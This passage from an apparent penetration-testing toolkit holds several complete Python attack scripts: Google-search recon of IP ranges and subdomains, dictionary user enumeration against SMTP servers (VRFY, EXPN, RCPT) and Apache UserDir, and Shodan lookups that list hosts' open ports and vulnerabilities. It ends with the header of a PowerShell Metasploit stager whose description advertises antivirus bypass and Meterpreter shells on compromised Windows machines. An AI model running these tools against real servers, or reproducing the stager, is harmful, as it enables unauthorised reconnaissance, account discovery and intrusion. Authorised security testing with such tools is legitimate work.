supported methods") 250 | 251 | # targets 252 | parser.add_argument( 253 | "-u", 254 | metavar="BASE_URL", 255 | required=True, 256 | help="target base URL") 257 | parser.add_argument( 258 | "-d", 259 | metavar="DIR_FILE", 260 | type=argparse.FileType("r"), 261 | help="file containing a list of directories") 262 | 263 | # other arguments 264 | parser.add_argument( 265 | "-t", 266 | metavar="TIMEOUT", 267 | type=int, 268 | default=5, 269 | help="timeout in seconds (default: 5)") 270 | 271 | if len(sys.argv) == 1: 272 | parser.print_help() 273 | sys.exit(0) 274 | 275 | return parser.parse_args() 276 | 277 | def main(): 278 | """ 279 | Main function 280 | """ 281 | 282 | print(BANNER) 283 | 284 | if sys.version_info[0] != 3: 285 | print("// error: this script requires python 3") 286 | sys.exit(1) 287 | 288 | args = get_args() 289 | args.func(args) 290 | 291 | if __name__ == "__main__": 292 | main() 293 | -------------------------------------------------------------------------------- /netdork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | netdork.py 0.1 - Google Custom Search Network Recon Tool 5 | Copyright (c) 2017 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | Netdork is a Python script that uses the Google Custom 10 | Search Engine API to collect interesting information on 11 | public networks and stealthily map the available attack 12 | surface. The following attacks are supported: 13 | 14 | ipaddr: network search sweep based on target CIDRs 15 | domain: subdomain discovery via search engine 16 | 17 | Beware that Google enforces a hard limit of 100 free 18 | searches per day. Use it wisely! 19 | 20 | Based on: 21 | http://www.0xdeadbeef.info/code/scan-tools.tgz (gsw) 22 | http://www.securityfocus.com/archive/101/422607/30/0/ 23 | 24 | Requirements (see also https://goo.gl/TRoQVT): 25 | 1. Make sure you have Python 3 installed 26 | (https://www.python.org/downloads/) 27 | 2. Get a Google API key 28 | (https://goo.gl/aQ1TR8) 29 | 3. Setup Custom Search Engine to search the entire web 30 | (https://cse.google.com/) 31 | 4. Enable the Custom Search API 32 | (https://console.developers.google.com/apis/) 33 | 5. Install the Google API client for Python and other 34 | dependencies: 35 | $ pip3 install google-api-python-client 36 | $ pip3 install netaddr 37 | 38 | Example usage: 39 | $ ./netdork.py ipaddr -t x.x.x.x/29 40 | $ ./netdork.py domain -t test.com 41 | 42 | TODO: 43 | 32 words limit bypass (siteSearch, siteSearchFilter)? 44 | Implement optional automatic recursive subdomain search 45 | Perform a reverse DNS lookup and search for hostnames 46 | HTML reporting in the style of https://goo.gl/tv2BZF 47 | Implement Bing support (Microsoft Cognitive Services) 48 | Test https://github.com/tristantao/py-ms-cognitive 49 | Implement support for other less greedy search engines;) 50 | 51 | Get the latest version at: 52 | https://github.com/0xdea/tactical-exploitation/ 53 | """ 54 | 55 | VERSION = "0.1" 56 | BANNER = """ 57 | netdork.py {0} - Google Custom Search Network Recon Tool 58 | Copyright (c) 2017 Marco Ivaldi 59 | """.format(VERSION) 60 | 61 | # fill in with your own api key from https://console.developers.google.com/ 62 | GOOGLE_API_KEY = "" 63 | # fill in with your own search engine id from https://cse.google.com/ 64 | GOOGLE_CSE_ID = "" 65 | 66 | import sys 67 | import argparse 68 | import netaddr 69 | from googleapiclient.discovery import build 70 | 71 | def google_search(search_str, api_key, cse_id, **kwargs): 72 | """ 73 | Search with Google Custom Search Engine API 74 | """ 75 | 76 | # build a service object for interacting with the api 77 | service = build("customsearch", "v1", developerKey=api_key) 78 | 79 | # perform the search (see https://goo.gl/uVBZBf) 80 | res = service.cse().list(q=search_str, cx=cse_id, **kwargs).execute() 81 | return res 82 | 83 | def ipaddr(args): 84 | """ 85 | Perform network search sweep 86 | """ 87 | 88 | targets = get_targets(args) 89 | 90 | for entry in targets: 91 | 92 | # try to resolve cidr 93 | try: 94 | net = netaddr.IPNetwork(entry) 95 | except (KeyboardInterrupt, SystemExit): 96 | sys.exit(1) 97 | except Exception as err: 98 | print("// error: {0}\n".format(err)) 99 | continue 100 | 101 | print("*** Scanning target IP network range {0} ***\n".format(entry)) 102 | found = 0 103 | 104 | # scan the target cidr 105 | for ip in net: 106 | 107 | print(ip) 108 | results = google_search( 109 | ip, 110 | GOOGLE_API_KEY, 111 | GOOGLE_CSE_ID, 112 | filter="0", 113 | safe="off", 114 | num=10) 115 | 116 | try: # found some results 117 | for item in results["items"]: 118 | print("\t" + item["link"]) 119 | found += 1 120 | 121 | except (KeyboardInterrupt, SystemExit): 122 | sys.exit(1) 123 | 124 | except: # no results found 125 | pass 126 | 127 | print("\n*** {0} interesting addresses found on {1} ***\n" 128 | .format(found, entry)) 129 | 130 | def domain(args): 131 | """ 132 | Perform subdomain discovery 133 | 134 | Note that Google processes a maximum of 32 words in 135 | the search string. This means that we're gonna miss 136 | some results on large network perimeters, regardless 137 | of our optimizations. 138 | """ 139 | 140 | targets = get_targets(args) 141 | max_tries = args.m 142 | 143 | for dom in targets: 144 | 145 | print("*** Scanning target domain {0} ***\n".format(dom)) 146 | subdomains = set() 147 | 148 | # scan the target domain 149 | for i in range(max_tries): 150 | 151 | search_str = build_domain_search(dom, subdomains) 152 | #print(search_str) # debug 153 | 154 | if not search_str: 155 | print("// warning: 32 words limit reached\n") 156 | break 157 | 158 | results = google_search( 159 | search_str, 160 | GOOGLE_API_KEY, 161 | GOOGLE_CSE_ID, 162 | filter="0", # filter="1" causes more searches?! 163 | safe="off", 164 | num=10) 165 | 166 | try: # found some results 167 | last = 1 168 | for item in results["items"]: 169 | if item["displayLink"] != dom: last = 0 170 | subdomains.add(item["displayLink"]) 171 | #print(item["displayLink"]) # debug 172 | if last: 173 | print("// warning: only the base domain is left\n") 174 | break 175 | 176 | except (KeyboardInterrupt, SystemExit): 177 | sys.exit(1) 178 | 179 | except: # no results found 180 | break 181 | 182 | # print results 183 | if subdomains: 184 | for sub in sorted(subdomains): 185 | if dom_level(sub) > dom_level(dom) + 1: 186 | print(sub + " // subdomain should be scanned too") 187 | else: 188 | print(sub) 189 | else: 190 | print("// error: no results found") 191 | 192 | if i == (max_tries - 1): 193 | print("\n// warning: max tries reached") 194 | print("\n*** {0} subdomains found on {1} ({2} tries) ***\n" 195 | .format(len(subdomains), dom, i + 1)) 196 | 197 | def build_domain_search(dom, subdomains): 198 | """ 199 | Build domain search string 200 | """ 201 | 202 | search_str = "site:" + dom 203 | exclusions = set() 204 | 205 | # exclude known subdomains (optimization: +1 level) 206 | for sub in sorted(subdomains): 207 | if dom_level(sub) > dom_level(dom): 208 | exc = sub.split(sep=".", maxsplit=dom_level(sub)-dom_level(dom)-1) 209 | exclusions.add(exc[-1]) 210 | for exc in sorted(exclusions): 211 | search_str += " -site:" + exc 212 | 213 | if len(exclusions) > 31: return 214 | return search_str 215 | 216 | def dom_level(dns_name): 217 | """ 218 | Get domain level 219 | """ 220 | 221 | return dns_name.count(".") 222 | 223 | def get_targets(args): 224 | """ 225 | Get targets from command line or file 226 | """ 227 | 228 | if args.t: return [args.t] 229 | return [t.rstrip() for t in args.f] 230 | 231 | def get_args(): 232 | """ 233 | Get command line arguments 234 | """ 235 | 236 | parser = argparse.ArgumentParser() 237 | subparsers = parser.add_subparsers( 238 | title="commands", 239 | help="choose mode of operation") 240 | 241 | # ipaddr mode 242 | parser_i = subparsers.add_parser( 243 | "ipaddr", 244 | help="enter ipaddr mode") 245 | parser_i.set_defaults(func=ipaddr) 246 | 247 | # ipaddr args 248 | group_i_targets = parser_i.add_mutually_exclusive_group(required=True) 249 | group_i_targets.add_argument( 250 | "-t", 251 | metavar="CIDR", 252 | help="specify target network CIDR") 253 | group_i_targets.add_argument( 254 | "-f", 255 | metavar="FILE", 256 | type=argparse.FileType("r"), 257 | help="specify file containing a list of CIDRs") 258 | 259 | # domain mode 260 | parser_d = subparsers.add_parser( 261 | "domain", 262 | help="enter domain mode") 263 | parser_d.set_defaults(func=domain) 264 | 265 | # domain args 266 | group_d_targets = parser_d.add_mutually_exclusive_group(required=True) 267 | group_d_targets.add_argument( 268 | "-t", 269 | metavar="DOMAIN", 270 | help="specify target domain name") 271 | group_d_targets.add_argument( 272 | "-f", 273 | metavar="FILE", 274 | type=argparse.FileType("r"), 275 | help="specify file containing a list of domain names") 276 | parser_d.add_argument( 277 | "-m", 278 | metavar="MAX", 279 | type=int, 280 | default=10, 281 | help="specify maximum number of searches (default: 10)") 282 | 283 | if len(sys.argv) == 1: 284 | parser.print_help() 285 | sys.exit(0) 286 | 287 | return parser.parse_args() 288 | 289 | def main(): 290 | """ 291 | Main function 292 | """ 293 | 294 | print(BANNER) 295 | 296 | if sys.version_info[0] != 3: 297 | print("// error: this script requires python 3") 298 | sys.exit(1) 299 | 300 | if not GOOGLE_API_KEY or not GOOGLE_CSE_ID: 301 | print("// error: please fill in GOOGLE_API_KEY and GOOGLE_CSE_ID") 302 | sys.exit(1) 303 | 304 | args = get_args() 305 | 306 | try: 307 | args.func(args) 308 | except (KeyboardInterrupt, SystemExit): 309 | sys.exit(1) 310 | except Exception as err: 311 | print("// error: {0}".format(err)) 312 | sys.exit(1) 313 | 314 | if __name__ == "__main__": 315 | main() 316 | -------------------------------------------------------------------------------- /poriluk.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | poriluk.py 0.2 - Info Leakage Tactical Exploitation Tool 5 | Copyright (c) 2017 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | I've always been a big proponent of a tactical approach 10 | to penetration testing that does not focus on exploiting 11 | known software vulnerabilities, but relies on old school 12 | techniques such as information gathering and brute force. 13 | 14 | Poriluk is a helper script that provides a comfortable 15 | interface to exploit common info leakage vulnerabilities. 16 | At the moment, the following attacks are supported: 17 | 18 | SMTP: dictionary-based user enumeration via VRFY 19 | SMTP: dictionary-based user enumeration via EXPN 20 | SMTP: dictionary-based user enumeration via RCPT 21 | HTTP: dictionary-based user enumeration via UserDir 22 | 23 | Based on: 24 | http://www.0xdeadbeef.info/code/brutus.pl 25 | 26 | Requirements: 27 | Python 3 (https://pythonclock.org/ is ticking...) 28 | 29 | Example usage: 30 | $ ./poriluk.py smtp -f hosts.txt -r -w users.txt 31 | $ ./poriluk.py http -f hosts.txt -u -w users.txt 32 | 33 | TODO: 34 | Implement user enumeration via Microsoft RDP (rdpy) 35 | Implement user enumeration via Cisco Telnet (telnetlib) 36 | Introduce support for multi-threading? 37 | 38 | Get the latest version at: 39 | https://github.com/0xdea/tactical-exploitation/ 40 | """ 41 | 42 | VERSION = "0.2" 43 | BANNER = """ 44 | poriluk.py {0} - Info Leakage Tactical Exploitation Tool 45 | Copyright (c) 2017 Marco Ivaldi 46 | """.format(VERSION) 47 | 48 | import sys 49 | import argparse 50 | import smtplib 51 | import urllib.request 52 | import urllib.error 53 | 54 | def smtp_enum(args): 55 | """ 56 | SMTP protocol exploitation 57 | """ 58 | 59 | wordlist = [u.rstrip() for u in args.w] 60 | targets = get_targets(args) 61 | port = args.P 62 | ssl = args.S 63 | timeout = args.T 64 | debug = args.D 65 | found_glob = 0 66 | 67 | if args.vrfy: 68 | cmd = "VRFY" 69 | elif args.expn: 70 | cmd = "EXPN" 71 | elif args.rcpt: 72 | cmd = "RCPT TO:" 73 | 74 | if ssl: 75 | call = smtplib.SMTP_SSL 76 | else: 77 | call = smtplib.SMTP 78 | 79 | for host in targets: 80 | found_host = 0 81 | print("*** SMTP users on {0} ***\n".format(host)) 82 | found_host += smtp_do(call, cmd, wordlist, host, port, timeout, debug) 83 | found_glob += found_host 84 | print("\n*** {0} users found on {1} ***\n".format(found_host, host)) 85 | 86 | print("*** {0} users found globally ***\n".format(found_glob)) 87 | 88 | def smtp_do(call, cmd, wordlist, host, port, timeout, debug): 89 | """ 90 | SMTP user enumeration via VRFY/EXPN/RCPT 91 | """ 92 | 93 | found = 0 94 | 95 | for username in wordlist: 96 | try: 97 | # speed hack: opening a new connection for each user is much faster 98 | with call( 99 | host=host, 100 | port=port, 101 | timeout=timeout, 102 | local_hostname="test.com") as smtp: 103 | 104 | # activate debug? 105 | smtp.set_debuglevel(debug) 106 | 107 | # initial helo turned out to be needed 108 | smtp.helo("test.com") 109 | 110 | if cmd == "RCPT TO:": 111 | smtp.docmd("MAIL FROM:", args="") 112 | (res, msg) = smtp.docmd(cmd, args=username) 113 | 114 | if str(res)[0] == "2": # user found 115 | found += 1 116 | if cmd == "RCPT TO:": 117 | print(username) 118 | else: 119 | print(res, msg.decode(sys.stdout.encoding)) 120 | 121 | except (KeyboardInterrupt, SystemExit): 122 | if username: 123 | print("// error: interrupted at username '{0}'\n" 124 | .format(username)) 125 | sys.exit(1) 126 | 127 | except smtplib.SMTPException as err: 128 | if username: # retry current user if timed out 129 | found += smtp_do( 130 | call, cmd, [username], host, port, timeout, debug) 131 | 132 | except Exception as err: 133 | print("// error: {0}".format(err)) 134 | return found 135 | 136 | return found 137 | 138 | def http_enum(args): 139 | """ 140 | HTTP protocol exploitation 141 | """ 142 | 143 | wordlist = [u.rstrip() for u in args.w] 144 | targets = get_targets(args) 145 | port = args.P 146 | ssl = args.S 147 | timeout = args.T 148 | found_glob = 0 149 | 150 | for host in targets: 151 | found_host = 0 152 | print("*** HTTP users on {0} ***\n".format(host)) 153 | 154 | if ssl: 155 | website = "https://" + host 156 | else: 157 | website = "http://" + host 158 | if port: 159 | website += ":" + port 160 | 161 | found_host += http_do(wordlist, website, timeout) 162 | found_glob += found_host 163 | print("\n*** {0} users found on {1} ***\n".format(found_host, host)) 164 | 165 | print("*** {0} users found globally ***\n".format(found_glob)) 166 | 167 | def http_do(wordlist, website, timeout): 168 | """ 169 | HTTP user enumeration via UserDir 170 | """ 171 | 172 | found = 0 173 | 174 | for username in wordlist: 175 | url = website + "/~" + username 176 | 177 | try: 178 | # this is blazingly fast 179 | with urllib.request.urlopen( 180 | url=url, 181 | timeout=timeout) as http: 182 | 183 | if http.read(1000).decode(sys.stdout.encoding): # user found 184 | found += 1 185 | print(username) 186 | 187 | except (KeyboardInterrupt, SystemExit): 188 | if username: 189 | print("// error: interrupted at username '{0}'\n" 190 | .format(username)) 191 | sys.exit(1) 192 | 193 | except urllib.error.HTTPError as err: 194 | if err.code == 403: # user found 195 | found += 1 196 | print(username) 197 | 198 | except Exception as err: 199 | print("// error: {0}".format(err)) 200 | return found 201 | 202 | return found 203 | 204 | def get_targets(args): 205 | """ 206 | Get targets from command line or file 207 | """ 208 | 209 | if args.t: return [args.t] 210 | return [t.rstrip() for t in args.f] 211 | 212 | def get_args(): 213 | """ 214 | Get command line arguments 215 | """ 216 | 217 | parser = argparse.ArgumentParser() 218 | subparsers = parser.add_subparsers( 219 | title="commands", 220 | help="choose target network protocol") 221 | 222 | # smtp mode 223 | parser_smtp = subparsers.add_parser( 224 | "smtp", 225 | help="SMTP protocol exploitation") 226 | parser_smtp.set_defaults(func=smtp_enum) 227 | 228 | # smtp: actions 229 | group_smtp_actions = parser_smtp.add_mutually_exclusive_group(required=True) 230 | group_smtp_actions.add_argument( 231 | "-v", "--vrfy", 232 | action="store_true", 233 | help="user enumeration via VRFY") 234 | group_smtp_actions.add_argument( 235 | "-e", "--expn", 236 | action="store_true", 237 | help="user enumeration via EXPN") 238 | group_smtp_actions.add_argument( 239 | "-r", "--rcpt", 240 | action="store_true", 241 | help="user enumeration via RCPT") 242 | 243 | # smtp: targets 244 | group_smtp_targets = parser_smtp.add_mutually_exclusive_group(required=True) 245 | group_smtp_targets.add_argument( 246 | "-t", 247 | metavar="HOST", 248 | help="specify target hostname or IP address") 249 | group_smtp_targets.add_argument( 250 | "-f", 251 | metavar="FILE", 252 | type=argparse.FileType("r"), 253 | help="specify file containing a list of targets") 254 | 255 | # smtp: other arguments 256 | parser_smtp.add_argument( 257 | "-w", 258 | metavar="WORDLIST", 259 | type=argparse.FileType("r"), 260 | required=True, 261 | help="specify username wordlist") 262 | parser_smtp.add_argument( 263 | "-T", 264 | metavar="TIMEOUT", 265 | type=int, 266 | default=5, 267 | help="specify timeout in seconds (default: 5)") 268 | parser_smtp.add_argument( 269 | "-P", 270 | metavar="PORT", 271 | type=int, 272 | default=0, 273 | help="specify port to use (default: 25 or 465)") 274 | parser_smtp.add_argument( 275 | "-S", 276 | action="store_true", 277 | help="enable SMTPS") 278 | parser_smtp.add_argument( 279 | "-D", 280 | action="store_true", 281 | help="enable debug mode") 282 | 283 | # http mode 284 | parser_http = subparsers.add_parser( 285 | "http", 286 | help="HTTP protocol exploitation") 287 | parser_http.set_defaults(func=http_enum) 288 | 289 | # http: actions 290 | group_http_actions = parser_http.add_mutually_exclusive_group(required=True) 291 | group_http_actions.add_argument( 292 | "-u", "--userdir", 293 | action="store_true", 294 | help="user enumeration via Apache mod_userdir") 295 | 296 | # http: targets 297 | group_http_targets = parser_http.add_mutually_exclusive_group(required=True) 298 | group_http_targets.add_argument( 299 | "-t", 300 | metavar="HOST", 301 | help="specify target hostname or IP address") 302 | group_http_targets.add_argument( 303 | "-f", 304 | metavar="FILE", 305 | type=argparse.FileType("r"), 306 | help="specify file containing a list of targets") 307 | 308 | # http: other arguments 309 | parser_http.add_argument( 310 | "-w", 311 | metavar="WORDLIST", 312 | type=argparse.FileType("r"), 313 | required=True, 314 | help="specify username wordlist") 315 | parser_http.add_argument( 316 | "-T", 317 | metavar="TIMEOUT", 318 | type=int, 319 | default=5, 320 | help="specify timeout in seconds (default: 5)") 321 | parser_http.add_argument( 322 | "-P", 323 | metavar="PORT", 324 | help="specify port to use (default: 80 or 443)") 325 | parser_http.add_argument( 326 | "-S", 327 | action="store_true", 328 | help="enable HTTPS") 329 | 330 | if len(sys.argv) == 1: 331 | parser.print_help() 332 | sys.exit(0) 333 | 334 | return parser.parse_args() 335 | 336 | def main(): 337 | """ 338 | Main function 339 | """ 340 | 341 | print(BANNER) 342 | 343 | if sys.version_info[0] != 3: 344 | print("// error: this script requires python 3") 345 | sys.exit(1) 346 | 347 | args = get_args() 348 | args.func(args) 349 | 350 | if __name__ == "__main__": 351 | main() 352 | -------------------------------------------------------------------------------- /seitan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | seitan.py 0.1 - OSINT Tool Built on Shodan.io API Search 5 | Copyright (c) 2017 Marco Ivaldi 6 | 7 | "The Other Way to Pen-Test" --HD Moore & Valsmith 8 | 9 | Seitan is a Python script that uses the Shodan.io API 10 | search to collect open source intelligence on targets. 11 | 12 | The following attacks are currently supported: 13 | ipaddr: view all available information for an IP address 14 | domain: search services related to a domain or host name 15 | 16 | In order to use this tool you will need a valid API key 17 | from https://account.shodan.io/, the shodan-python 18 | library, and the netaddr module: 19 | $ pip3 install shodan 20 | $ pip3 install netaddr 21 | 22 | Example usage: 23 | $ ./seitan.py ipaddr -f targets.txt # ipaddr scan 24 | $ ./seitan.py domain -t test.com # domain scan 25 | $ ./seitan.py domain -t test.com -S # domain scan (ssl) 26 | 27 | TODO: 28 | Implement additional search methods (e.g. Amazon S3) 29 | Expand information displayed for SSL/TLS services 30 | Add download/parse/convert capabilities 31 | Add on-demand scanning functionality (Shodan.scan) 32 | 33 | Get the latest version at: 34 | https://github.com/0xdea/tactical-exploitation/ 35 | """ 36 | 37 | VERSION = "0.1" 38 | BANNER = """ 39 | seitan.py {0} - OSINT Tool Built on Shodan.io API Search 40 | Copyright (c) 2017 Marco Ivaldi 41 | """.format(VERSION) 42 | 43 | # fill in with your own api key from https://account.shodan.io/ 44 | SHODAN_API_KEY = "" 45 | 46 | import sys 47 | import argparse 48 | import time 49 | import netaddr 50 | import shodan 51 | 52 | def init(api_key): 53 | """ 54 | Initialize the Shodan API 55 | """ 56 | 57 | # load api key and print credits 58 | api = shodan.Shodan(SHODAN_API_KEY) 59 | info(api) 60 | 61 | return api 62 | 63 | def info(api): 64 | """ 65 | Print currently available credits 66 | """ 67 | 68 | info = api.info() 69 | 70 | print("Active plan:\t{}".format(info["plan"])) 71 | print("Query credits:\t{}".format(info["query_credits"])) 72 | print("Scan credits:\t{}\n".format(info["scan_credits"])) 73 | 74 | def search(api, search_str, limit): 75 | """ 76 | Search with Shodan API 77 | """ 78 | 79 | try: 80 | res = api.search(search_str, limit=limit) 81 | 82 | for banner in res["matches"]: 83 | 84 | # header 85 | print("[", end="") 86 | if "ip_str" in banner and banner["ip_str"]: 87 | print(banner["ip_str"], end=", ") 88 | if "hostnames" in banner and banner["hostnames"]: 89 | for hostname in banner["hostnames"]: 90 | print(hostname, end=", ") 91 | if "os" in banner and banner["os"]: 92 | print(banner["os"], end=", ") 93 | if "port" in banner and banner["port"]: 94 | print(banner["port"], end=", ") 95 | if "timestamp" in banner and banner["timestamp"]: 96 | date = banner["timestamp"][:10] 97 | print(date, end="") 98 | print("]\n") 99 | 100 | # service information 101 | if "ssl" in banner and banner["ssl"]["cert"]["subject"]: 102 | b = banner["ssl"]["cert"]["subject"] 103 | for field in b: 104 | print("{}: {}".format(field, b[field])) 105 | print() 106 | if "data" in banner and banner["data"]: 107 | print(banner["data"].rstrip(), end="\n\n") 108 | 109 | except shodan.APIError as err: 110 | print("\t// error: {}\n".format(err)) 111 | return 0 112 | 113 | return res["total"] 114 | 115 | def ipaddr(args): 116 | """ 117 | View all available information for an IP address (based on Shodan CLI tool) 118 | """ 119 | 120 | api = init(SHODAN_API_KEY) 121 | targets = get_targets(args) 122 | history = args.history 123 | minify = args.minify 124 | found_glob = 0 125 | 126 | for entry in targets: 127 | 128 | # try to resolve cidr 129 | try: 130 | net = netaddr.IPNetwork(entry) 131 | except (KeyboardInterrupt, SystemExit): 132 | sys.exit(1) 133 | except Exception as err: 134 | print("// error: {}\n".format(err)) 135 | continue 136 | 137 | print("*** Scanning target IP network range {} ***".format(entry)) 138 | found = 0 139 | 140 | # scan the target cidr 141 | for ip in net: 142 | 143 | ip = str(ip) 144 | print("\n{}".format(ip)) 145 | 146 | try: 147 | res = api.host(ip, history=history, minify=minify) 148 | 149 | # general information 150 | if len(res["hostnames"]): 151 | print("\t{:25s}{}" 152 | .format("Hostnames:", ";".join(res["hostnames"]))) 153 | if "org" in res and res["org"]: 154 | print("\t{:25s}{}".format("Organization:", res["org"])) 155 | if "city" in res and res["city"]: 156 | print("\t{:25s}{}".format("City:", res["city"])) 157 | if "country_name" in res and res["country_name"]: 158 | print("\t{:25s}{}".format("Country:", res["country_name"])) 159 | if "os" in res and res["os"]: 160 | print("\t{:25s}{}".format("Operating System:", res["os"])) 161 | 162 | # vulnerability information 163 | if "vulns" in res and len(res["vulns"]): 164 | vulns = [] 165 | for vuln in res["vulns"]: 166 | if vuln.startswith("!"): continue 167 | vulns.append(vuln) 168 | if len(vulns): 169 | print("\t{:25s}".format("Vulnerabilities:"), end="") 170 | for vuln in vulns: 171 | print(vuln + "\t", end="") 172 | print() 173 | 174 | # service information 175 | print("\t{:25s}{}" 176 | .format("Number of open ports:", len(res["ports"]))) 177 | if not minify: 178 | print("\tPorts:") 179 | for banner in sorted( 180 | res["data"], 181 | key=lambda k: (k["port"], k["timestamp"]) 182 | ): 183 | product = "" 184 | if "product" in banner and banner["product"]: 185 | product = banner["product"] 186 | version = "" 187 | if "version" in banner and banner["version"]: 188 | version = "({})".format(banner["version"]) 189 | print("\t{:>7d}".format(banner["port"]), end=" ") 190 | if "timestamp" in banner and banner["timestamp"]: 191 | date = banner["timestamp"][:10] 192 | print("\t{}".format(date), end="") 193 | print("\t{} {}".format(product, version), end="") 194 | print() 195 | 196 | except shodan.APIError as err: 197 | print("\t// error: {}".format(err)) 198 | 199 | else: 200 | found += 1 201 | 202 | # throttle requests to work around shodan request limit 203 | time.sleep(1) 204 | 205 | found_glob += found 206 | print("\n*** {} interesting addresses found on {} ***\n" 207 | .format(found, entry)) 208 | 209 | print("*** {} interesting addresses found globally ***\n" 210 | .format(found_glob)) 211 | 212 | info(api) 213 | 214 | def domain(args): 215 | """ 216 | Search services related to a domain or host name 217 | """ 218 | 219 | api = init(SHODAN_API_KEY) 220 | targets = get_targets(args) 221 | limit = args.l 222 | ssl = args.ssl 223 | 224 | # scan the target domains 225 | for dom in targets: 226 | 227 | # ssl cert based search 228 | if ssl: 229 | search_str = "ssl:{}".format(dom) 230 | print("*** Scanning target domain {} (ssl cert based) ***\n" 231 | .format(dom)) 232 | 233 | # hostname based search 234 | else: 235 | search_str = "hostname:{}".format(dom) 236 | print("*** Scanning target domain {} (hostname based) ***\n" 237 | .format(dom)) 238 | 239 | # enforce hard limit of 1000 results (100 pages) 240 | if limit > 1000: 241 | limit = 1000 242 | print("// warning: enforcing a hard limit of 1000 results\n") 243 | 244 | # perform the actual search 245 | count = search(api, search_str, limit) 246 | 247 | # throttle requests to work around shodan request limit 248 | time.sleep(1) 249 | 250 | if limit > count: 251 | limit = count 252 | print("*** Displayed {} results out of {} for domain {} ***\n" 253 | .format(limit, count, dom)) 254 | 255 | info(api) 256 | 257 | def get_targets(args): 258 | """ 259 | Get targets from command line or file 260 | """ 261 | 262 | if args.t: return [args.t] 263 | return [t.rstrip() for t in args.f] 264 | 265 | def get_args(): 266 | """ 267 | Get command line arguments 268 | """ 269 | 270 | parser = argparse.ArgumentParser() 271 | subparsers = parser.add_subparsers( 272 | title="commands", 273 | help="choose action") 274 | 275 | # ipaddr scan 276 | parser_h = subparsers.add_parser( 277 | "ipaddr", 278 | help="ipaddr scan") 279 | parser_h.set_defaults(func=ipaddr) 280 | 281 | # ipaddr args 282 | group_h_targets = parser_h.add_mutually_exclusive_group(required=True) 283 | group_h_targets.add_argument( 284 | "-t", 285 | metavar="CIDR", 286 | help="specify target network CIDR") 287 | group_h_targets.add_argument( 288 | "-f", 289 | metavar="FILE", 290 | type=argparse.FileType("r"), 291 | help="specify file containing a list of CIDRs") 292 | parser_h.add_argument( 293 | "-H", "--history", 294 | action="store_true", 295 | help="include historical (non-current) services") 296 | parser_h.add_argument( 297 | "-M", "--minify", 298 | action="store_true", 299 | help="only return general information") 300 | 301 | # domain scan 302 | parser_d = subparsers.add_parser( 303 | "domain", 304 | help="domain scan") 305 | parser_d.set_defaults(func=domain) 306 | 307 | # domain args 308 | group_d_targets = parser_d.add_mutually_exclusive_group(required=True) 309 | group_d_targets.add_argument( 310 | "-t", 311 | metavar="DOMAIN", 312 | help="specify target domain name") 313 | group_d_targets.add_argument( 314 | "-f", 315 | metavar="FILE", 316 | type=argparse.FileType("r"), 317 | help="specify file containing a list of domain names") 318 | parser_d.add_argument( 319 | "-l", 320 | metavar="LIMIT", 321 | type=int, 322 | default=100, 323 | help="maximum number of results to return (default: 100)") 324 | parser_d.add_argument( 325 | "-S", "--ssl", 326 | action="store_true", 327 | help="search SSL Common Name instead of hostname") 328 | 329 | if len(sys.argv) == 1: 330 | parser.print_help() 331 | sys.exit(0) 332 | 333 | return parser.parse_args() 334 | 335 | def main(): 336 | """ 337 | Main function 338 | """ 339 | 340 | print(BANNER) 341 | 342 | if sys.version_info[0] != 3: 343 | print("// error: this script requires python 3") 344 | sys.exit(1) 345 | 346 | if not SHODAN_API_KEY: 347 | print("// error: please fill in SHODAN_API_KEY") 348 | sys.exit(1) 349 | 350 | args = get_args() 351 | 352 | try: 353 | args.func(args) 354 | except (KeyboardInterrupt, SystemExit): 355 | sys.exit(1) 356 | except Exception as err: 357 | print("// error: {}".format(err)) 358 | sys.exit(1) 359 | 360 | if __name__ == "__main__": 361 | main() 362 | -------------------------------------------------------------------------------- /letmein.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # letmein.ps1 1.1 - PowerShell Stager for Metasploit Framework 3 | # Copyright (c) 2017-2018 Marco Ivaldi 4 | # 5 | # "You know who I pray to? Joe Pesci. Two reasons: First of all, 6 | # I think he's a good actor, okay? To me, that counts. Second, 7 | # he looks like a guy who can GET THINGS DONE." -- George Carlin 8 | # 9 | # Tested on: 10 | # Microsoft Windows 7 11 | # Microsoft Windows 10 12 | # Microsoft Windows Server 2008 13 | # Microsoft Windows Server 2012 14 | # Microsoft Windows Server 2016 15 | # 16 | # TODO: 17 | # Implement additional antivirus evasion techniques 18 | # Add support for Meterpreter Paranoid Mode 19 | # 20 | 21 | <# 22 | 23 | .SYNOPSIS 24 | 25 | Pure PowerShell implementation of Metasploit Framework's staging protocols. 26 | 27 | .DESCRIPTION 28 | 29 | Start an exploit/multi/handler (Generic Payload Handler) instance on your 30 | attack box configured to handle one of the supported Meterpreter payloads, run 31 | letmein.ps1 (ideally as Administrator) on a compromised Windows box, and wait 32 | for your session. 33 | 34 | The supported payloads are: 35 | windows/meterpreter/bind_tcp windows/x64/meterpreter/bind_tcp 36 | windows/meterpreter/reverse_tcp windows/x64/meterpreter/reverse_tcp 37 | windows/meterpreter/reverse_http windows/x64/meterpreter/reverse_http 38 | windows/meterpreter/reverse_https windows/x64/meterpreter/reverse_https 39 | 40 | Note that you must choose the correct payload for the target architecture 41 | (either 32 or 64 bits), otherwise PowerShell will crash. 42 | 43 | This technique is quite effective in order to bypass the antivirus and obtain 44 | a Meterpreter shell on Windows (however, be warned that during testing some 45 | antivirus solutions detected the reverse_http payloads!). 46 | 47 | .PARAMETER IPAddress 48 | 49 | Remote IP address for the reverse_tcp handler connection. 50 | 51 | .PARAMETER Port 52 | 53 | Remote port for the reverse_tcp handler connection (default: 4444). 54 | Local port to listen at for the bind_tcp handler connection (default: 4444). 55 | 56 | .PARAMETER URL 57 | 58 | Remote URL for the reverse_http(s) handler connection. 59 | 60 | .PARAMETER Proxy 61 | 62 | Use system proxy settings for the reverse_http(s) connection (default: False). 63 | 64 | .LINK 65 | 66 | Based on: 67 | https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py 68 | https://github.com/rsmudge/metasploit-loader 69 | https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 70 | 